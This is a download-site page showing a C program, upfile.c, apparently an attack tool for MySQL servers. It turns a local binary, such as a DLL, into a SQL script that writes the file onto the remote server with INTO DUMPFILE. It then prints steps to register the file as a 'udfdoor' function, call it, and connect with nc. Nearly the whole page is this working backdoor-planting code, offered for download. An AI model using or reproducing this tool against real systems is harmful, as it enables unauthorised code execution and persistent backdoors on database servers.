⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 upfile.c

📁 MYSQL上传工具
💻 C
字号:
/*通过MYSQL上传二进制文件的小程式*/

#include <stdio.h>
#include <string.h>
#define Max 600

char ver[Max]="\n\t\tWirtten by W.Z.T  <Don't be lazy,Just go ahead>\n\n\t\t\tQQ:0x3731353739393132\n\n";

void help(void);
void upfile(char *,char *,char *);

int main(int argc,char **argv)
{
    if(argc==1)
    {
        help();
    }
    upfile(argv[1],argv[2],argv[3]);
    return 0;
}

void help(void)
{
    int i;
    for(i=0;i<strlen(ver);i++)
    {
         sleep(15);
         printf("%c",ver[i]);
    }
    printf("upfile.exe <localfile> <remotefile> <script.txt>\n\n");
    printf("exp:\n\n");
    printf("upfile.exe my_udf.dll c:\\\\my_udf.dll sgl.txt\n");
    exit(0);
}

void upfile(char *line,char *line1,char *line2)
{
    FILE *fp_s,*fp_t;
    char *use[7]={"\n#then,do as follows:\n\n",
                  "#mysql -h remoteip -uroot -p\n",
                  "#mysql>\\. script.txt\n",
                  "#create FUNCTION my_udfdoor RETURNS STRING SONAME \'",
                  "\';\n",
                  "#select my_udfdoor(\'\');\n\n",
                  "#nc -vv remoteip 3306/fuck\n"};
    char ch;
    long lenth;
    int i=0,j;
    if((fp_s=fopen(line,"rb"))==NULL)
    {
        printf("Can't open the file %s.\n",line);
        exit(0);
    }
    if((fp_t=fopen(line2,"w+"))==NULL)
    {
        printf("Can't open the file %s.\n",line2);
        exit(0);
    }
    fseek(fp_s,0,SEEK_END);
    lenth=ftell(fp_s);
    fseek(fp_s,0,SEEK_SET);
    printf("\n#%s has %ld bytes,0x%x\n",line1,lenth,lenth);
    fputs("set @a = concat(\'\',0x",fp_t);
    while(i<lenth)
    {
        ch = fgetc(fp_s);
        if(( unsigned char ) ch<= ( unsigned char )15)
            fprintf(fp_t,"0",ch);
        fprintf(fp_t,"%x",(unsigned char)ch);
        i++;
    }
    fputs(");\n",fp_t);
    fputs("use mysql;\n",fp_t);
    fputs("create table sgl(data LONGBLOB);\n",fp_t);
    fputs("insert into sgl values(\"\");\n",fp_t);
    fputs("update sgl set data = @a;\n",fp_t);
    fputs("select data from sgl into DUMPFILE \'",fp_t);
    fputs(line1,fp_t);
    fputs("\';\n",fp_t);
    fputs("drop table sgl;\n",fp_t);
    fclose(fp_s);
    fclose(fp_t);
    for(i=0;i<7;i++)
    {
        if(i==4)
             printf("%s",line1);
        for(j=0;j<strlen(use[i]);j++)
        {
             sleep(20);
             printf("%c",use[i][j]);
        }
    }
    printf("done.good luck.\n\n");
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -